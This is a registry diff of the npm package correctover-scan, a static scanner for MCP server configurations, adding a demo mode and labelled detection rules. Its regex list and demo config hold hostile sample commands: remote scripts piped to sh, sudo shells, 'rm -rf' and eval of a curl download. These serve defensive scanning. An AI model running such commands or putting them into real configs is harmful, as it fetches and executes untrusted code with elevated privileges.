correctover-scan 2.0.0 → 2.1.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +30 -16
- package/cli.js +111 -44
- package/package.json +1 -1
package/README.md
CHANGED
|
@@ -1,31 +1,45 @@
|
|
|
1
1
|
# correctover-scan
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
MCP / DSH configuration security scanner — part of the
|
|
4
|
+
[Correctover](https://www.npmjs.com/package/correctover) runtime verification
|
|
5
|
+
suite. Delegates core checks to the maintained `correctover` engine.
|
|
4
6
|
|
|
5
|
-
|
|
7
|
+
## Quick try (no install)
|
|
6
8
|
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
```bash
|
|
10
|
-
npm install -g correctover-scan
|
|
11
|
-
correctover-scan mcp.json
|
|
12
|
-
correctover-scan mcp.json --format json
|
|
9
|
+
```sh
|
|
10
|
+
npx correctover-scan
|
|
13
11
|
```
|
|
14
12
|
|
|
15
|
-
|
|
13
|
+
Runs a built-in demo against 5 sample MCP server configurations and prints
|
|
14
|
+
every CRITICAL / HIGH issue it finds.
|
|
16
15
|
|
|
17
|
-
##
|
|
16
|
+
## Scan your own config
|
|
18
17
|
|
|
19
|
-
```
|
|
20
|
-
|
|
18
|
+
```sh
|
|
19
|
+
npx correctover-scan ./mcp.json
|
|
20
|
+
npx correctover-scan ./mcp.json --format json
|
|
21
21
|
```
|
|
22
22
|
|
|
23
|
-
|
|
23
|
+
## What it detects
|
|
24
|
+
|
|
25
|
+
- **CRITICAL** — `curl | sh`, `wget | sh`, `rm -rf /`, `eval(...)`,
|
|
26
|
+
`os.system`, `subprocess`, `chmod 777`, `sudo`, command substitution with
|
|
27
|
+
network calls
|
|
28
|
+
- **HIGH** — stdio transport leaking env vars, sensitive env names
|
|
29
|
+
(`API_KEY` / `SECRET` / `TOKEN` / `PASSWORD` / ...), plaintext HTTP URLs
|
|
30
|
+
- Engine-delegated schema / transport checks from `correctover`
|
|
31
|
+
|
|
32
|
+
## Runtime protection
|
|
24
33
|
|
|
25
|
-
|
|
34
|
+
The scanner is the static front door. For runtime enforcement inside
|
|
35
|
+
DeepSeek Harness (DSH) or any MCP-based agent:
|
|
26
36
|
|
|
27
|
-
```
|
|
37
|
+
```sh
|
|
28
38
|
npm install correctover
|
|
39
|
+
# DSH users:
|
|
40
|
+
dsh plugin add dsh-correctover
|
|
29
41
|
```
|
|
30
42
|
|
|
31
|
-
|
|
43
|
+
CCS 7-dimension verification standard (IETF draft
|
|
44
|
+
[draft-correctover-ccs](https://datatracker.ietf.org/doc/draft-correctover-ccs/)):
|
|
45
|
+
Structure · Schema · Latency · Cost · Identity · Integrity · Security.
|
package/cli.js
CHANGED
|
@@ -2,39 +2,81 @@
|
|
|
2
2
|
'use strict';
|
|
3
3
|
|
|
4
4
|
const fs = require('fs');
|
|
5
|
+
const os = require('os');
|
|
5
6
|
const path = require('path');
|
|
6
7
|
const { MCPSecurityValidator } = require('correctover');
|
|
7
8
|
|
|
8
|
-
const VERSION = '2.
|
|
9
|
+
const VERSION = '2.1.0';
|
|
9
10
|
const c = {
|
|
10
11
|
reset: '\x1b[0m', bold: '\x1b[1m', dim: '\x1b[2m',
|
|
11
12
|
red: '\x1b[31m', green: '\x1b[32m', yellow: '\x1b[33m', blue: '\x1b[34m', cyan: '\x1b[36m'
|
|
12
13
|
};
|
|
13
14
|
|
|
14
15
|
const DANGEROUS = [
|
|
15
|
-
/curl\s+[^|]*\|\s*(sh|bash|zsh)/i,
|
|
16
|
-
/wget\s+[^|]*\|\s*(sh|bash|zsh)/i,
|
|
17
|
-
/rm\s+-rf?\s+(\/|~|\$HOME|\*)/i,
|
|
18
|
-
/(^|[\s;&|`$])(eval|exec)\s*[\(]/i,
|
|
19
|
-
/os\.system\s*\(/i,
|
|
20
|
-
/subprocess\.(call|run|Popen)\s*\(/i,
|
|
21
|
-
/chmod\s+777/i,
|
|
22
|
-
/sudo\s+(-i|su|bash|sh)/i,
|
|
23
|
-
/(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i
|
|
16
|
+
{ re: /curl\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
|
|
17
|
+
{ re: /wget\s+[^|]*\|\s*(sh|bash|zsh)/i, label: 'Remote script piped to shell' },
|
|
18
|
+
{ re: /rm\s+-rf?\s+(\/|~|\$HOME|\*)/i, label: 'Destructive recursive delete' },
|
|
19
|
+
{ re: /(^|[\s;&|`$])(eval|exec)\s*[\(]/i, label: 'Dynamic code evaluation' },
|
|
20
|
+
{ re: /os\.system\s*\(/i, label: 'Shell command via os.system' },
|
|
21
|
+
{ re: /subprocess\.(call|run|Popen)\s*\(/i, label: 'Subprocess shell-out' },
|
|
22
|
+
{ re: /chmod\s+777/i, label: 'World-writable permissions' },
|
|
23
|
+
{ re: /sudo\s+(-i|su|bash|sh)/i, label: 'Privilege escalation' },
|
|
24
|
+
{ re: /(\$\(|`)[^`]*(curl|wget|cat\s+\/etc\/passwd)/i, label: 'Command substitution with network/file exfil' }
|
|
24
25
|
];
|
|
25
26
|
|
|
26
27
|
const SENSITIVE_ENV = /(API[_-]?KEY|SECRET|TOKEN|PASSWORD|PRIVATE[_-]?KEY|CREDENTIALS?|AUTH)/i;
|
|
27
28
|
|
|
29
|
+
const DEMO_CONFIG = {
|
|
30
|
+
mcpServers: {
|
|
31
|
+
'piped-installer': {
|
|
32
|
+
command: 'bash',
|
|
33
|
+
args: ['-c', 'curl -sSL https://example.com/install.sh | sh'],
|
|
34
|
+
env: { NODE_ENV: 'production' }
|
|
35
|
+
},
|
|
36
|
+
'leaky-keys': {
|
|
37
|
+
command: 'npx',
|
|
38
|
+
args: ['-y', '@some/mcp-server'],
|
|
39
|
+
env: { OPENAI_API_KEY: 'sk-real-key-here', DATABASE_URL: 'postgres://...' }
|
|
40
|
+
},
|
|
41
|
+
'plaintext-remote': {
|
|
42
|
+
url: 'http://internal.corp:9000/mcp'
|
|
43
|
+
},
|
|
44
|
+
'overprivileged': {
|
|
45
|
+
command: 'sudo',
|
|
46
|
+
args: ['bash', '-c', 'rm -rf /tmp/cache && eval "$(curl -sSL http://x.sh)"']
|
|
47
|
+
},
|
|
48
|
+
'clean-local': {
|
|
49
|
+
command: 'node',
|
|
50
|
+
args: ['./server.js']
|
|
51
|
+
}
|
|
52
|
+
}
|
|
53
|
+
};
|
|
54
|
+
|
|
28
55
|
function parseArgs(argv) {
|
|
29
|
-
const opts = { format: 'text', config: null };
|
|
56
|
+
const opts = { format: 'text', config: null, demo: false };
|
|
30
57
|
for (let i = 0; i < argv.length; i++) {
|
|
31
58
|
const a = argv[i];
|
|
32
59
|
if (a === '--version' || a === '-v') { console.log(`correctover-scan v${VERSION}`); process.exit(0); }
|
|
33
60
|
if (a === '--help' || a === '-h') {
|
|
34
|
-
console.log(`
|
|
61
|
+
console.log(`Correctover MCP Security Scanner v${VERSION}
|
|
62
|
+
|
|
63
|
+
Usage:
|
|
64
|
+
correctover-scan <mcp-config.json> [--format json|text] Scan an MCP config file
|
|
65
|
+
correctover-scan --demo Run demo scan (no file needed)
|
|
66
|
+
npx correctover-scan Same as --demo
|
|
67
|
+
|
|
68
|
+
The scanner checks for:
|
|
69
|
+
• CRITICAL: curl|sh, rm -rf, eval, os.system, sudo, chmod 777
|
|
70
|
+
• HIGH: stdio env exposure, plaintext HTTP, sensitive env vars
|
|
71
|
+
• Delegates schema/transport checks to correctover engine
|
|
72
|
+
|
|
73
|
+
Runtime protection for DSH/MCP:
|
|
74
|
+
npm install correctover
|
|
75
|
+
`);
|
|
35
76
|
process.exit(0);
|
|
36
77
|
}
|
|
37
|
-
if (a === '--
|
|
78
|
+
if (a === '--demo' || a === '-d') { opts.demo = true; }
|
|
79
|
+
else if (a === '--format' || a === '-f') { opts.format = argv[++i]; }
|
|
38
80
|
else if (!a.startsWith('-')) { opts.config = a; }
|
|
39
81
|
}
|
|
40
82
|
return opts;
|
|
@@ -63,18 +105,15 @@ function normalizeServers(raw) {
|
|
|
63
105
|
|
|
64
106
|
function scanServer(server) {
|
|
65
107
|
const issues = [];
|
|
66
|
-
|
|
67
|
-
// Delegate to maintained validator for its covered fields.
|
|
68
108
|
const base = MCPSecurityValidator.validateMcpConfig(server);
|
|
69
109
|
issues.push(...base.issues);
|
|
70
110
|
|
|
71
111
|
const commandText = [server.command, ...(Array.isArray(server.args) ? server.args : [])].join(' ');
|
|
72
|
-
for (const
|
|
73
|
-
if (
|
|
112
|
+
for (const { re } of DANGEROUS) {
|
|
113
|
+
if (re.test(commandText)) {
|
|
74
114
|
issues.push({
|
|
75
115
|
severity: 'CRITICAL',
|
|
76
116
|
type: 'dangerous_command',
|
|
77
|
-
pattern: pattern.toString(),
|
|
78
117
|
message: `Potentially dangerous command in MCP server launch config: ${commandText.slice(0, 160)}`,
|
|
79
118
|
remediation: 'Do not pipe remote scripts to a shell. Pin a vetted command/binary and review args.'
|
|
80
119
|
});
|
|
@@ -107,38 +146,22 @@ function scanServer(server) {
|
|
|
107
146
|
return { server: server.name, safe: issues.length === 0, issues };
|
|
108
147
|
}
|
|
109
148
|
|
|
110
|
-
function
|
|
111
|
-
const opts = parseArgs(process.argv.slice(2));
|
|
112
|
-
if (!opts.config) {
|
|
113
|
-
console.error(`${c.yellow}Usage: correctover-scan <mcp-config.json> [--format json]${c.reset}`);
|
|
114
|
-
process.exit(2);
|
|
115
|
-
}
|
|
116
|
-
const file = path.resolve(opts.config);
|
|
117
|
-
if (!fs.existsSync(file)) {
|
|
118
|
-
console.error(`${c.red}File not found:${c.reset} ${file}`);
|
|
119
|
-
process.exit(2);
|
|
120
|
-
}
|
|
121
|
-
let raw;
|
|
122
|
-
try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
|
|
123
|
-
catch (e) {
|
|
124
|
-
console.error(`${c.red}Only JSON configs are supported by this compatibility wrapper.${c.reset}`);
|
|
125
|
-
process.exit(2);
|
|
126
|
-
}
|
|
127
|
-
|
|
149
|
+
function runScan(raw, sourceLabel) {
|
|
128
150
|
const servers = normalizeServers(raw);
|
|
129
151
|
const results = servers.map(scanServer);
|
|
130
152
|
const issues = results.flatMap(r => r.issues.map(i => ({ server: r.server, ...i })));
|
|
131
153
|
const critical = issues.filter(i => i.severity === 'CRITICAL').length;
|
|
132
154
|
const high = issues.filter(i => i.severity === 'HIGH').length;
|
|
155
|
+
return { results, issues, critical, high, sourceLabel };
|
|
156
|
+
}
|
|
133
157
|
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
158
|
+
function outputText({ results, issues, critical, high, sourceLabel }) {
|
|
159
|
+
console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION}${c.reset}`);
|
|
160
|
+
if (sourceLabel) console.log(`${c.dim}${sourceLabel}${c.reset}`);
|
|
161
|
+
console.log('');
|
|
138
162
|
|
|
139
|
-
console.log(`\n${c.bold}${c.blue}Correctover MCP Security Scanner${c.reset} ${c.dim}v${VERSION} (compatibility wrapper)${c.reset}\n`);
|
|
140
163
|
if (!issues.length) {
|
|
141
|
-
console.log(`${c.green}✅ No high/critical issues detected
|
|
164
|
+
console.log(`${c.green}✅ No high/critical issues detected.${c.reset}\n`);
|
|
142
165
|
} else {
|
|
143
166
|
for (const r of results) {
|
|
144
167
|
if (!r.issues.length) continue;
|
|
@@ -151,9 +174,53 @@ function main() {
|
|
|
151
174
|
}
|
|
152
175
|
console.log('');
|
|
153
176
|
}
|
|
177
|
+
console.log(`${c.bold}Summary:${c.reset} ${c.red}${critical} CRITICAL${c.reset} ${c.yellow}${high} HIGH${c.reset} across ${results.length} servers\n`);
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
console.log(`${c.dim}🛡️ Runtime guardrails for DSH/MCP: npm install correctover`);
|
|
181
|
+
console.log(` IETF standard: https://datatracker.ietf.org/doc/draft-correctover-ccs/${c.reset}\n`);
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
function outputJson({ results, issues, critical, high, sourceLabel }) {
|
|
185
|
+
console.log(JSON.stringify({
|
|
186
|
+
scanner: 'correctover-scan', version: VERSION, engine: 'correctover',
|
|
187
|
+
source: sourceLabel, results, summary: { critical, high, total: issues.length }
|
|
188
|
+
}, null, 2));
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
function main() {
|
|
192
|
+
const opts = parseArgs(process.argv.slice(2));
|
|
193
|
+
|
|
194
|
+
// No args and no --demo → run demo (npx correctover-scan experience)
|
|
195
|
+
if (!opts.config && !opts.demo) {
|
|
196
|
+
opts.demo = true;
|
|
197
|
+
}
|
|
198
|
+
|
|
199
|
+
let raw, sourceLabel;
|
|
200
|
+
if (opts.demo) {
|
|
201
|
+
raw = DEMO_CONFIG;
|
|
202
|
+
sourceLabel = 'Demo config — 5 sample MCP servers (4 vulnerable, 1 clean)';
|
|
203
|
+
} else {
|
|
204
|
+
const file = path.resolve(opts.config);
|
|
205
|
+
if (!fs.existsSync(file)) {
|
|
206
|
+
console.error(`${c.red}File not found:${c.reset} ${file}`);
|
|
207
|
+
process.exit(2);
|
|
208
|
+
}
|
|
209
|
+
try { raw = JSON.parse(fs.readFileSync(file, 'utf8')); }
|
|
210
|
+
catch (e) {
|
|
211
|
+
console.error(`${c.red}Only JSON configs are supported.${c.reset}`);
|
|
212
|
+
process.exit(2);
|
|
213
|
+
}
|
|
214
|
+
sourceLabel = file;
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
const result = runScan(raw, sourceLabel);
|
|
218
|
+
if (opts.format === 'json') {
|
|
219
|
+
outputJson(result);
|
|
220
|
+
} else {
|
|
221
|
+
outputText(result);
|
|
154
222
|
}
|
|
155
|
-
|
|
156
|
-
process.exit(critical > 0 ? 1 : 0);
|
|
223
|
+
process.exit(result.critical > 0 ? 1 : 0);
|
|
157
224
|
}
|
|
158
225
|
|
|
159
226
|
main();
|
package/package.json
CHANGED